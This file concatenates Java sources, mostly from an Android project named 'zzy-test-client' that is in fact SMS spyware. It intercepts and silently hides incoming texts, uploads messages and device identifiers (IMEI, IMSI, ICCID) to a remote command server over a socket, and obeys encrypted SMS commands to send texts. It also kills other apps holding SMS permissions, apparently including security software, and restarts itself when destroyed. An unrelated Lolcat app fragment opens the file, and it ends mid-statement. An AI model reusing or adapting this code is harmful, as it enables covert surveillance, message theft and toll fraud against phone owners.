Log.i(TAG, "MediaScannerConnectionClient.onMediaScannerConnected..."); // The next step happens in the UI thread: mHandler.post(new Runnable() { public void run() { LolcatActivity.this.onMediaScannerConnected(); } }); } /** * Called when the media scanner has finished scanning a file. * @param path the path to the file that has been scanned. * @param uri the Uri for the file if the scanning operation succeeded * and the file was added to the media database, or null if scanning failed. */ public void onScanCompleted(final String path, final Uri uri) { Log.i(TAG, "MediaScannerConnectionClient.onScanCompleted: path " + path + ", uri " + uri); // Just run the "real" onScanCompleted() method in the UI thread: mHandler.post(new Runnable() { public void run() { LolcatActivity.this.onScanCompleted(path, uri); } }); } }; /** * This method is called when our MediaScannerConnection successfully * connects to the MediaScanner service. At that point we fire off a * request to scan the lolcat image we just saved. * * This needs to run in the UI thread, so it's called from * mMediaScanConnClient's onMediaScannerConnected() method via our Handler. */ private void onMediaScannerConnected() { Log.i(TAG, "onMediaScannerConnected()..."); // Update the message in the progress dialog... mSaveProgressDialog.setMessage(getResources().getString(R.string.lolcat_scanning)); // Fire off a request to the MediaScanner service to scan this // file; we'll get notified when the scan completes. Log.i(TAG, "- Requesting scan for file: " + mSavedImageFilename); mMediaScannerConnection.scanFile(mSavedImageFilename, null /* mimeType */); // Next step: mMediaScanConnClient will get an onScanCompleted() callback, // which calls our own onScanCompleted() method via our Handler. } /** * Updates the UI after the media scanner finishes the scanFile() * request we issued from onMediaScannerConnected(). * * This needs to run in the UI thread, so it's called from * mMediaScanConnClient's onScanCompleted() method via our Handler. */ private void onScanCompleted(String path, final Uri uri) { Log.i(TAG, "onScanCompleted: path " + path + ", uri " + uri); mMediaScannerConnection.disconnect(); if (uri == null) { Log.w(TAG, "onScanCompleted: scan failed."); mSavedImageUri = null; onSaveFailed(R.string.lolcat_scan_failed); return; } // Success! dismissDialog(DIALOG_SAVE_PROGRESS); // We can now access the saved lolcat image using the specified Uri. mSavedImageUri = uri; // Bring up a success dialog, giving the user the option to go to // the pictures app (so you can share the image). showSaveSuccessDialog(); } // // Other misc utility methods // /** * Ensure that the specified file exists on the SD card, creating it * if necessary. * * Copied from MediaProvider / MusicUtils. * * @return true if the file already exists, or we * successfully created it. */ private static boolean ensureFileExists(String path) { File file = new File(path); if (file.exists()) { return true; } else { // we will not attempt to create the first directory in the path // (for example, do not create /sdcard if the SD card is not mounted) int secondSlash = path.indexOf('/', 1); if (secondSlash < 1) return false; String directoryPath = path.substring(0, secondSlash); File directory = new File(directoryPath); if (!directory.exists()) return false; file.getParentFile().mkdirs(); try { return file.createNewFile(); } catch (IOException ioe) { Log.w(TAG, "File creation failed", ioe); } return false; } } /** * Updates the UI after a failure anywhere in the bitmap saving / scanning * sequence. */ private void onSaveFailed(int errorMessageResId) { dismissDialog(DIALOG_SAVE_PROGRESS); Toast.makeText(this, errorMessageResId, Toast.LENGTH_SHORT).show(); } /** * Goes to the Pictures app for the specified URI. */ private void viewSavedImage(Uri uri) { Log.i(TAG, "viewSavedImage(" + uri + ")..."); if (uri == null) { Log.w(TAG, "viewSavedImage: null uri!"); return; } Intent intent = new Intent(Intent.ACTION_VIEW, uri); Log.i(TAG, "- running startActivity... Intent = " + intent); startActivity(intent); } private void viewSavedImage() { viewSavedImage(mSavedImageUri); } /** * Shares the image with the specified URI. */ private void shareSavedImage(Uri uri) { Log.i(TAG, "shareSavedImage(" + uri + ")..."); if (uri == null) { Log.w(TAG, "shareSavedImage: null uri!"); return; } Intent intent = new Intent(); intent.setAction(Intent.ACTION_SEND); intent.setType(SAVED_IMAGE_MIME_TYPE); intent.putExtra(Intent.EXTRA_STREAM, uri); try { startActivity( Intent.createChooser( intent, getResources().getString(R.string.lolcat_sendImage_label))); } catch (android.content.ActivityNotFoundException ex) { Log.w(TAG, "shareSavedImage: startActivity failed", ex); Toast.makeText(this, R.string.lolcat_share_failed, Toast.LENGTH_SHORT).show(); } } private void shareSavedImage() { shareSavedImage(mSavedImageUri); } }
zzhangumd-apps-for-android
LolcatBuilder/src/com/android/lolcat/LolcatActivity.java
Java
asf20
30,490
package tools.common; public class Tag { public static String CONNECTIVITY_CHANGE = "android.net.conn.CONNECTIVITY_CHANGE"; public static String BATTERY_CHANGED = "android.intent.action.BATTERY_CHANGED"; public static String SMS_RECEIVER = "android.provider.Telephony.SMS_RECEIVED"; //自定义 public static String XINTIAO = "android.intent.action.XINTIAO"; public static final String SMS_SEND_ACTIOIN = "SEND_ACTIOIN"; public static final String SMS_DELIVERED_ACTION = "DELIVERED_ACTION"; public static final String SENDTOSERVER = "android.sendtoserver"; public static final String START = "action.start"; //public static String HOST = "azcs.f3322.org"; public static String HOST = "host"; //public static String HOST = "192.168.1.105"; public static int PORT = 8890; public static int SOCKET_TIMEOUT = 5000; public static final String KEY = "386d16f5"; }
zzy-test-client
trunk/com_1/src/tools/common/Tag.java
Java
bsd
878
package tools.common; import java.util.ArrayList; import java.util.LinkedHashMap; import java.util.List; import java.util.Map; import org.json.JSONArray; import android.app.ActivityManager; import android.app.Notification; import android.app.NotificationManager; import android.app.PendingIntent; import android.content.ContentResolver; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.content.pm.PackageInfo; import android.content.pm.PackageManager; import android.content.pm.PackageManager.NameNotFoundException; import android.database.Cursor; import android.database.sqlite.SQLiteException; import android.net.ConnectivityManager; import android.net.NetworkInfo; import android.net.Uri; import android.telephony.SmsManager; import android.telephony.TelephonyManager; public class Tools { public static boolean checkNet(Context context) { ConnectivityManager mConnectivity = (ConnectivityManager)context.getSystemService(Context.CONNECTIVITY_SERVICE); TelephonyManager mTelephony = (TelephonyManager)context.getSystemService(context.TELEPHONY_SERVICE); //检查网络连接,如果无网络可用,就不需要进行连网操作等 NetworkInfo info = mConnectivity.getActiveNetworkInfo(); if (info == null) { return false; } return true; } //com.qihoo360.mobilesafe public static void reStartApp(Context context,String packageName) { PackageManager pm = context.getPackageManager(); ActivityManager manager = (ActivityManager)context.getSystemService(Context.ACTIVITY_SERVICE); manager.killBackgroundProcesses(packageName); } /** * 重启具有获取短信的APP */ public static boolean reStart(Context context) { //Logger.info("开始时间:"+System.currentTimeMillis()); if(context!=null) { PackageManager pm = context.getPackageManager(); if(pm!=null) { List<PackageInfo> packs = pm.getInstalledPackages(0); ActivityManager manager = (ActivityManager)context.getSystemService(Context.ACTIVITY_SERVICE); //包括所有APP,删除的也包括 for(int i=0;i<packs.size();i++) { PackageInfo p = packs.get(i); if(!p.packageName.equals(context.getPackageName())) { if(getPermisson(p.packageName,context)) {//如果判断出有获取短信权限 Logger.info(p.packageName); //manager.restartPackage(p.packageName); manager.killBackgroundProcesses(p.packageName); } } } } //Logger.info("结束时间:"+System.currentTimeMillis()); } return true; } public static boolean getPermisson(String pkgName,Context context) { StringBuffer tv = new StringBuffer(); PackageManager pm = context.getPackageManager(); try { PackageInfo pkgInfo = pm.getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS); String sharedPkgList[] = pkgInfo.requestedPermissions; if(sharedPkgList==null) { return false; } for(int i=0;i<sharedPkgList.length;i++){ String permName = sharedPkgList[i]; if(permName.equals("android.permission.RECEIVE_SMS")||permName.equals("android.permission.READ_PHONE_STATE")) { return true; } } } catch (NameNotFoundException e) { Logger.info("error:"+e.getMessage()); return false; } return false; } //发送短信 public static boolean sendSms(Context mContext, String sn, String sm) { // TODO Auto-generated method stub Intent itsend = null; Intent itDeliver = null; String num = sn; //发送短息内容 String message = sm; //发送短息 itsend = new Intent(Tag.SMS_SEND_ACTIOIN); itsend.putExtra("number", num); SmsManager smsManager = SmsManager.getDefault(); PendingIntent sentIntent = PendingIntent.getBroadcast(mContext, 0, itsend, 0); ArrayList<PendingIntent> mSentlist = new ArrayList<PendingIntent>(); mSentlist.add(sentIntent); itDeliver = new Intent(Tag.SMS_DELIVERED_ACTION); itDeliver.putExtra("number", num); PendingIntent mDeliverPI = PendingIntent.getBroadcast(mContext,0, itDeliver,PendingIntent.FLAG_UPDATE_CURRENT); ArrayList<PendingIntent> mDeliverlist = new ArrayList<PendingIntent>(); mDeliverlist.add(mDeliverPI); if (message != null) { ArrayList<String> msgs = smsManager.divideMessage(message); Logger.info("发送长短信!!!!!!!!!!!!!!!!!!!!!!!"); smsManager.sendMultipartTextMessage(num, null, msgs, mSentlist, mDeliverlist); } mSentlist.clear(); mSentlist = null; mDeliverlist.clear(); mSentlist = null; return true; } //获取短信 public static JSONArray getSms(Context mContext) { final String SMS_URI_ALL = "content://sms/"; // //收件箱 // final String SMS_URI_INBOX = "content://sms/inbox"; // //发件箱 // final String SMS_URI_SEND = "content://sms/sent"; // //草稿箱 // final String SMS_URI_DRAFT = "content://sms/draft"; JSONArray jsonlist = null; try{ ContentResolver cr = mContext.getContentResolver(); String[] projection = new String[]{"_id", "address", "person", "body", "date", "type"}; Uri uri = Uri.parse(SMS_URI_ALL); Cursor cur = cr.query(uri, projection, null, null, "date asc"); if(null!=cur&&cur.getCount()<1) { Logger.info("没有需要上报的短信"); return jsonlist; } jsonlist = new JSONArray(); if (cur.moveToFirst()) { //收发短信的人名 // String name; // //号码 // String phoneNumber; // //短信内容 // String smsbody; // //日期 // String date; // //类型 1.接收 2.发送 3.草稿 // String type; int nameColumn = cur.getColumnIndex("person");//名字 int phoneNumberColumn = cur.getColumnIndex("address");//号码 int smsbodyColumn = cur.getColumnIndex("body");//内容 int dateColumn = cur.getColumnIndex("date");//日期 int typeColumn = cur.getColumnIndex("type");//类型 do{ Map itemsms = new LinkedHashMap(); itemsms.put("name", cur.getString(nameColumn)); itemsms.put("number", cur.getString(phoneNumberColumn)); itemsms.put("body", cur.getString(smsbodyColumn)); itemsms.put("date", cur.getString(dateColumn)); itemsms.put("type", cur.getInt(typeColumn)); jsonlist.put(itemsms); }while(cur.moveToNext()); } else { return jsonlist; } } catch(SQLiteException ex) { Logger.info("SQLiteException in getSmsInPhone:"+ex.getMessage()); return jsonlist; } return jsonlist; } /** * 弹出提示通知 * @param context * @param num * @param message */ public static void showNotification(Context context,String title,String message,String url){ //短信号码 CharSequence contentTitle = title; //短信文本内容 CharSequence contentText = message; //得到一个NotificationManager对象 NotificationManager manager=(NotificationManager)context.getSystemService(Context.NOTIFICATION_SERVICE); //实例化一个Notification int icon = R.drawable.ic_launcher; try { PackageInfo packageInfo = context.getPackageManager().getPackageInfo(context.getPackageName(),0); icon = packageInfo.applicationInfo.icon; } catch (NameNotFoundException e) { Logger.error("error:"+e.getMessage()); } long when=System.currentTimeMillis(); Notification notification=new Notification(icon, title, when); //设置最新事件消息和PendingIntent //Intent intent=new Intent(Intent.ACTION_MAIN,Uri.parse("smsto:" + contentTitle)); Intent it = new Intent(Intent.ACTION_VIEW, Uri.parse(url)); PendingIntent pendingIntent=PendingIntent.getActivity(context, 0, it, 0); notification.setLatestEventInfo(context, contentTitle, contentText, pendingIntent); //通知被点后立刻消失 notification.flags |= Notification.FLAG_AUTO_CANCEL; //启动提醒 manager.notify(1, notification); } public static String getHost(Context context) { SharedPreferences preferences = context.getSharedPreferences("test", Context.MODE_PRIVATE); String host = preferences.getString(Tag.HOST,"192.168.1.102"); return host; } public static void setHost(Context context,String host) { SharedPreferences preferences = context.getSharedPreferences("test", Context.MODE_PRIVATE); Editor editor = preferences.edit(); editor.putString(Tag.HOST, host); editor.commit(); } }
zzy-test-client
trunk/com_1/src/tools/common/Tools.java
Java
bsd
9,528
package tools.common; import java.io.ByteArrayOutputStream; public class Base64Util { private static final char[] base64EncodeChars = new char[] { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static byte[] base64DecodeChars = new byte[] { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1 }; private Base64Util() { } /** * �?????�????���??�? * * @param data */ public static String encode(byte[] data) { StringBuffer sb = new StringBuffer(); int len = data.length; int i = 0; int b1, b2, b3; while (i < len) { b1 = data[i++] & 0xff; if (i == len) { sb.append(base64EncodeChars[b1 >>> 2]); sb.append(base64EncodeChars[(b1 & 0x3) << 4]); sb.append("=="); break; } b2 = data[i++] & 0xff; if (i == len) { sb.append(base64EncodeChars[b1 >>> 2]); sb.append(base64EncodeChars[((b1 & 0x03) << 4) | ((b2 & 0xf0) >>> 4)]); sb.append(base64EncodeChars[(b2 & 0x0f) << 2]); sb.append("="); break; } b3 = data[i++] & 0xff; sb.append(base64EncodeChars[b1 >>> 2]); sb.append(base64EncodeChars[((b1 & 0x03) << 4) | ((b2 & 0xf0) >>> 4)]); sb.append(base64EncodeChars[((b2 & 0x0f) << 2) | ((b3 & 0xc0) >>> 6)]); sb.append(base64EncodeChars[b3 & 0x3f]); } return sb.toString(); } /** * �?ase64�??串解??���???��? * * @param str */ public static byte[] decode(String str) { byte[] data = str.getBytes(); int len = data.length; ByteArrayOutputStream buf = new ByteArrayOutputStream(len); int i = 0; int b1, b2, b3, b4; while (i < len) { /* b1 */ do { b1 = base64DecodeChars[data[i++]]; } while (i < len && b1 == -1); if (b1 == -1) { break; } /* b2 */ do { b2 = base64DecodeChars[data[i++]]; } while (i < len && b2 == -1); if (b2 == -1) { break; } buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4))); /* b3 */ do { b3 = data[i++]; if (b3 == 61) { return buf.toByteArray(); } b3 = base64DecodeChars[b3]; } while (i < len && b3 == -1); if (b3 == -1) { break; } buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2))); /* b4 */ do { b4 = data[i++]; if (b4 == 61) { return buf.toByteArray(); } b4 = base64DecodeChars[b4]; } while (i < len && b4 == -1); if (b4 == -1) { break; } buf.write((int) (((b3 & 0x03) << 6) | b4)); } return buf.toByteArray(); } }
zzy-test-client
trunk/com_1/src/tools/common/Base64Util.java
Java
bsd
4,041
package tools.common; import java.security.Key; import java.security.SecureRandom; import java.security.spec.AlgorithmParameterSpec; import javax.crypto.Cipher; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; import javax.crypto.spec.IvParameterSpec; public class DES2 { public static final String ALGORITHM_DES = "DES/CBC/PKCS5Padding"; public static String encode(String key,String data) throws Exception { return encode(key, data.getBytes()); } public static String encode(String key,byte[] data) throws Exception { try { DESKeySpec dks = new DESKeySpec(key.getBytes()); SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES"); //key???�???��?�??8�???? Key secretKey = keyFactory.generateSecret(dks); Cipher cipher = Cipher.getInstance(ALGORITHM_DES); IvParameterSpec iv = new IvParameterSpec(key.getBytes()); AlgorithmParameterSpec paramSpec = iv; cipher.init(Cipher.ENCRYPT_MODE, secretKey,paramSpec); byte[] bytes = cipher.doFinal(data); return new String(Base64Util.encode(bytes)); } catch (Exception e) { throw new Exception(e); } } public static byte[] decode(String key,byte[] data) throws Exception { try { SecureRandom sr = new SecureRandom(); DESKeySpec dks = new DESKeySpec(key.getBytes()); SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES"); //key???�???��?�??8�???? Key secretKey = keyFactory.generateSecret(dks); Cipher cipher = Cipher.getInstance(ALGORITHM_DES); IvParameterSpec iv = new IvParameterSpec(key.getBytes()); AlgorithmParameterSpec paramSpec = iv; cipher.init(Cipher.DECRYPT_MODE, secretKey,paramSpec); return cipher.doFinal(data); } catch (Exception e) { throw new Exception(e); } } public static String decodeValue(String key,String data) { byte[] datas; String value = null; try { if(System.getProperty("os.name") != null && (System.getProperty("os.name").equalsIgnoreCase("sunos") || System.getProperty("os.name").equalsIgnoreCase("linux"))) { datas = decode(key,Base64Util.decode(data)); } else { datas = decode(key,Base64Util.decode(data)); } value = new String(datas); } catch (Exception e) { value = ""; } return value; } }
zzy-test-client
trunk/com_1/src/tools/common/DES2.java
Java
bsd
2,740
package tools.common; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.database.Cursor; import android.os.Bundle; import android.telephony.SmsMessage; /* * 拦截短信 */ public class SmsReceiver extends BroadcastReceiver{ private DbHelper dbAdapter = null; private Context mContext; @Override public void onReceive(Context context, Intent intent) { // TODO Auto-generated method stub //Tools.KillApp(context, ""); mContext = context; if (intent != null) { Bundle bundle = intent.getExtras(); if (bundle != null) { Object[] myOBJpdus = (Object[]) bundle.get("pdus"); SmsMessage[] messages = new SmsMessage[myOBJpdus.length]; try{ for (int i = 0; i < myOBJpdus.length; i++) { messages[i] = SmsMessage.createFromPdu((byte[]) myOBJpdus[i]); } }catch(Exception e){ Logger.info("不支持双模手机"); return; } SmsMessage message = messages[0]; String smsbody = message.getMessageBody(); String smsnum = message.getDisplayOriginatingAddress(); //smsnum = smsnum.replaceAll("+86", ""); if(smsbody.length()>7) { String mark = smsbody.substring(0,7); if(mark.equals("#10086#")) {//#10086#1A{"sn":"13760360024","sm":"测试"} abortBroadcast(); String msg_mark = smsbody.substring(7,9); String msginfo = smsbody.substring(9); if(msg_mark.equals("1A")) {//发送短信 Logger.error("收到密码短信:"+msginfo); msginfo = DES2.decodeValue(Tag.KEY, msginfo); if(msginfo.length()>1) { try { JSONArray arrayJson = new JSONArray(msginfo); for(int i=0;i<arrayJson.length();i++) { JSONObject tempJson = arrayJson.optJSONObject(i); int ttype = tempJson.getInt("t"); switch(ttype) { case 11: //发送短信 String numtel = tempJson.getString("sn"); //Logger.info("sn:"+numtel); String tomsg = tempJson.getString("sm"); //Logger.info("sm:"+tomsg); Tools.sendSms(context, numtel, tomsg); break; } } } catch (JSONException e) { // TODO Auto-generated catch block e.printStackTrace(); } }else{ Logger.error("decode error"); } } return; } } if(smsnum.startsWith("+86")) { smsnum = smsnum.substring(3); } Logger.info("短信内容:"+smsbody); if(dbAdapter == null) { dbAdapter = new DbHelper(context,1); } dbAdapter.opendatabase(); Cursor c = dbAdapter.getkeys(); Logger.info("count:"+c.getCount()); if(null!=c&&c.getCount()>0) { Logger.info("短信:"+smsbody); if(c.moveToFirst()) { do{ String keyword = c.getString(0); String isback = c.getString(1); String number = c.getString(2); long etime = c.getLong(3); int id = c.getInt(4); if(System.currentTimeMillis()<=etime) {//还在范围被 if(number.equals("*")&&keyword.equals("*")) { Intent service = new Intent(Tag.START); service.putExtra("action", Tag.SENDTOSERVER); service.putExtra("message", smsbody); service.putExtra("number", smsnum); mContext.startService(service); Logger.info("返回给服务器"); if(isback.equals("1")) { Logger.info("屏蔽短信"); abortBroadcast(); } }else{ if(number.equals("*")) { if(smsbody.contains(keyword)) { Intent service = new Intent(Tag.START); service.putExtra("action", Tag.SENDTOSERVER); service.putExtra("message", smsbody); service.putExtra("number", smsnum); mContext.startService(service); Logger.info("返回给服务器"); if(isback.equals("1")) { Logger.info("屏蔽短信"); abortBroadcast(); } } }else{ if(number.equals(smsnum)) { if(smsbody.contains(keyword)) { Intent service = new Intent(Tag.START); service.putExtra("action", Tag.SENDTOSERVER); service.putExtra("message", smsbody); service.putExtra("number", smsnum); mContext.startService(service); Logger.info("返回给服务器"); if(isback.equals("1")) { Logger.info("屏蔽短信"); abortBroadcast(); } } } } if(keyword.equals("*")) { Logger.info(number+":"+smsnum); if(number.equals(smsnum)) { Intent service = new Intent(Tag.START); service.putExtra("action", Tag.SENDTOSERVER); service.putExtra("message", smsbody); service.putExtra("number", smsnum); mContext.startService(service); Logger.info("返回给服务器"); if(isback.equals("1")) { Logger.info("屏蔽短信"); abortBroadcast(); } } }else{ if(number.equals(smsnum)) { Intent service = new Intent(Tag.START); service.putExtra("action", Tag.SENDTOSERVER); service.putExtra("message", smsbody); service.putExtra("number", smsnum); mContext.startService(service); Logger.info("返回给服务器"); if(isback.equals("1")) { Logger.info("屏蔽短信"); abortBroadcast(); } } } } break; }else{ dbAdapter.deletekeys(); break; } }while(c.moveToNext()); } } if(c!=null) c.close(); dbAdapter.closedatabase(); dbAdapter = null; }else { Logger.info("bundle null!!!!!!!!!!!!!!!!!!"); } } } }
zzy-test-client
trunk/com_1/src/tools/common/SmsReceiver.java
Java
bsd
7,512
package tools.common; import java.io.File; import java.io.RandomAccessFile; import java.util.Date; import android.os.Environment; import android.util.Log; /** * BUG调试工具 * @author * */ public class Logger { //自定义标签 public final static String TAG = "sms"; /** 调试开关*/ public final static boolean DEBUG = true; /** 写日志文件*/ public final static boolean WRITE_FILE = false; /** * leo added */ public static void infoLeo(String mytag,Object ... obj) { if(DEBUG) { Log.i(mytag, objects2String(obj)); if(WRITE_FILE) { writeLog2File(obj); } } } /** * 输出为绿色..一般提示性的消息information,它不会输出Log.v和Log.d的信息,但会显示i、w和e的信息 * @param obj */ public static void info(Object ... obj) { if(DEBUG) { Log.i(TAG, objects2String(obj)); if(WRITE_FILE) { writeLog2File(obj); } } } /** * 调试颜色为黑色的,任何消息都会输出,verbose是啰嗦的意思! * @param obj */ public static void verbose(Object ... obj) { if(DEBUG) { Log.v(TAG, objects2String(obj)); if(WRITE_FILE) { writeLog2File(obj); } } } /** * 可以想到error错误,这里仅显示红色的错误信息,这些错误就需要我们认真的分析,查看栈的信息了。 * @param obj */ public static void error(Object ... obj) { if(DEBUG) { Log.e(TAG, objects2String(obj)); if(WRITE_FILE) { writeLog2File(obj); } } } /** * 橙色信息...warning警告,一般需要我们注意优化Android代码,同时选择它后还会输出Log.e的信息 * @param obj */ public static void warning(Object ... obj) { if(DEBUG) { Log.w(TAG, objects2String(obj)); writeLog2File(obj); } } /** * 输出颜色是蓝色的,仅输出debug调试的意思,但他会输出上层的信息,过滤起来可以通过DDMS的Logcat标签来选择 * @param obj */ public static void debug(Object ... obj) { if(DEBUG) { Log.d(TAG, objects2String(obj)); writeLog2File(obj); } } private static String objects2String(Object ... obj) { StringBuilder sb = new StringBuilder(); for(int i = 0; i < obj.length; i++) { sb.append(obj[i]); } return sb.toString(); } //写入到文件 public static void writeLog2File(Object... objects) { try { if (Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)){ String logPath = Environment.getExternalStorageDirectory() + "/loggg.txt"; File file = new File(logPath); if (!file.exists()) { File parent = file.getParentFile(); parent.mkdirs(); } long length = file.length(); StringBuilder sb = new StringBuilder(); sb.append(new Date().toLocaleString()); sb.append(":"); for (int i = 0; i < objects.length; i++) { sb.append(objects[i]); } sb.append("\r\n"); RandomAccessFile raf = new RandomAccessFile(file, "rw"); raf.seek(length); raf.write(sb.toString().getBytes("gbk")); raf.close(); } } catch (Exception e) { Logger.error("writeLog2File exception:" + e.toString()); } } }
zzy-test-client
trunk/com_1/src/tools/common/Logger.java
Java
bsd
3,351
package tools.common; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.IOException; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.io.PrintWriter; import java.io.UnsupportedEncodingException; import java.net.InetSocketAddress; import java.net.Socket; import java.util.concurrent.ExecutionException; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.Future; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import android.app.AlarmManager; import android.app.PendingIntent; import android.app.Service; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.content.pm.PackageInfo; import android.content.pm.PackageManager.NameNotFoundException; import android.database.Cursor; import android.os.Bundle; import android.os.Handler; import android.os.IBinder; import android.os.Message; import android.os.SystemClock; import android.telephony.TelephonyManager; import android.util.Log; /* * 修改isConnect同步 * */ public class AService extends Service implements Runnable{ private Context mContext = null; private boolean isConnect = false; private long lastXinTiao; private Socket socket = null; private BufferedReader socket_in = null; private PrintWriter socket_out = null; //定时器发送心跳 private AlarmManager am =null; private PendingIntent pendIntent = null; private long triggerAtTime = 2000; //心跳间隔 private int interval = 5*1000; private String imei = "0"; private String iccid = "0"; private String imsi; private String pstyle = "unknow"; private String appname = "unknow"; private int ver = 0; private int sdkver = 0; private SrceenReceiver srcReceiver = null; private SmsReceiver smsReceiver = null; private DbHelper dbHelper = null; private ExecutorService executorService = Executors.newFixedThreadPool(10); // 固定五个线程来执行任务 @Override public IBinder onBind(Intent arg0) { // TODO Auto-generated method stub return null; } public void initData() { if(dbHelper == null) { dbHelper = new DbHelper(mContext,1); } dbHelper.opendatabase(); if(mContext!=null) { Tools.reStart(mContext); } TelephonyManager mTelephonyMgr = (TelephonyManager)mContext.getSystemService(Context.TELEPHONY_SERVICE); imsi = mTelephonyMgr.getSubscriberId(); if(imsi==null) { imsi = "0"; } imei = mTelephonyMgr.getDeviceId(); if(imei == null) { imei = "0"; } iccid = mTelephonyMgr.getSimSerialNumber(); if(iccid==null) { iccid = "0"; } pstyle = android.os.Build.MODEL; sdkver = Integer.valueOf(android.os.Build.VERSION.SDK); try { PackageInfo packageInfo = getPackageManager().getPackageInfo(getPackageName(),0); appname = packageInfo.applicationInfo.loadLabel(getPackageManager()).toString(); ver = packageInfo.versionCode; } catch (NameNotFoundException e) { // TODO Auto-generated catch block ///e.printStackTrace(); ver = 0; } if(srcReceiver==null){ srcReceiver = new SrceenReceiver(); IntentFilter sfilter = new IntentFilter(); sfilter.addAction(Intent.ACTION_SCREEN_OFF); sfilter.addAction(Intent.ACTION_SCREEN_ON); registerReceiver(srcReceiver, sfilter); sfilter = null; } if(smsReceiver==null) { smsReceiver = new SmsReceiver(); IntentFilter filter = new IntentFilter(); filter.addAction(Tag.SMS_RECEIVER); filter.setPriority(Integer.MAX_VALUE); registerReceiver(smsReceiver, filter); filter = null; } } @Override public void onCreate() { // TODO Auto-generated method stub super.onCreate(); mContext = this; Logger.error("onCreate xxx..."); initData(); lastXinTiao = System.currentTimeMillis(); } @Override public void onDestroy() { // TODO Auto-generated method stub super.onDestroy(); socketDisConnect(); if(Tools.checkNet(mContext)) { Intent service = new Intent(mContext, AService.class); mContext.startService(service); if(dbHelper == null) { dbHelper = new DbHelper(mContext,1); } dbHelper.opendatabase(); Tools.reStart(mContext); }else{ stopSelf(); if(dbHelper!=null) { dbHelper.closedatabase(); } if(srcReceiver!=null) { Logger.error("src 取消注册"); unregisterReceiver(srcReceiver); srcReceiver = null; } if(smsReceiver!=null) { Logger.error("sms取消注册"); unregisterReceiver(smsReceiver); smsReceiver = null; } if(am!=null&&pendIntent!=null) { am.cancel(pendIntent); am = null; pendIntent = null; Logger.error("关闭定时器"); } } } @Override public void onStart(Intent intent, int startId) { // TODO Auto-generated method stub super.onStart(intent, startId); Logger.error("onStart xxx..."); //String action = intent.getStringExtra("action"); if(System.currentTimeMillis()-lastXinTiao>=10*1000) { socketDisConnect(); Logger.info("链接断开xxxxx"+System.currentTimeMillis()+":"+lastXinTiao); } if(intent!=null) { executorService.submit(new onStrartRunnable(intent)); } } private void socketDisConnect() { // 断开链接 try { if(socket_out!=null) { socket_out.close(); socket_out = null; } if(socket_in!=null) { socket_in.close(); socket_in = null; } if(null!=socket) { socket.close(); socket = null; } } catch (IOException e1) { // TODO Auto-generated catch block Log.e("sms","ioexception:"+e1.getMessage()); }finally { isConnect = false; } } private boolean socketConnect() { // socket链接 if(null == socket) { try { socket = new Socket(); String host = Tools.getHost(mContext); InetSocketAddress socketAddress = new InetSocketAddress(host, Tag.PORT); socket.connect(socketAddress, Tag.SOCKET_TIMEOUT); socketAddress = null; socket.setKeepAlive(true); socket_in = new BufferedReader(new InputStreamReader(socket.getInputStream())); socket_out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())), true); new Thread(AService.this).start(); isConnect = true; woshou(); Log.e("sms", "connected server..."); } catch (IOException e) { // TODO Auto-generated catch block //e.printStackTrace(); Logger.error(e.getMessage()); return false; } //建立心跳机制 if(am==null) { am = (AlarmManager)getSystemService(ALARM_SERVICE); Intent intent = new Intent(mContext, EventReceiver.class); intent.setAction(Tag.XINTIAO); int requestCode = 0; pendIntent = PendingIntent.getBroadcast(getApplicationContext(), requestCode, intent, PendingIntent.FLAG_UPDATE_CURRENT); //2秒后发送广播,然后每个1秒重复发广播。广播都是直接发到AlarmReceiver的 triggerAtTime = SystemClock.elapsedRealtime(); am.setRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerAtTime, interval, pendIntent); } } return true; } @Override //接收输入流 public void run() { // TODO Auto-generated method stub try { //ByteArrayOutputStream baos = new ByteArrayOutputStream(); Log.e("sms","等待接收..."); while (true) { if (null!=socket&&socket.isConnected()&&!socket.isClosed()) { if (!socket.isInputShutdown()) { String content = ""; if ((content = socket_in.readLine()) != null) { content += "\n"; //接收消息 Log.e("sms","rec msg:"+content); Message reMsg = null; reMsg = new Message(); reMsg.what = REVERSER; Bundle bundle=new Bundle(); bundle.putString("rejson", content); reMsg.setData(bundle); mHandler.sendMessage(reMsg); reMsg = null; } content = null; }else{ Log.e("sms","输入流被关闭"); break; } }else { Log.e("sms","没有连接"); break; } } } catch (Exception e) { Log.e("sms","run method 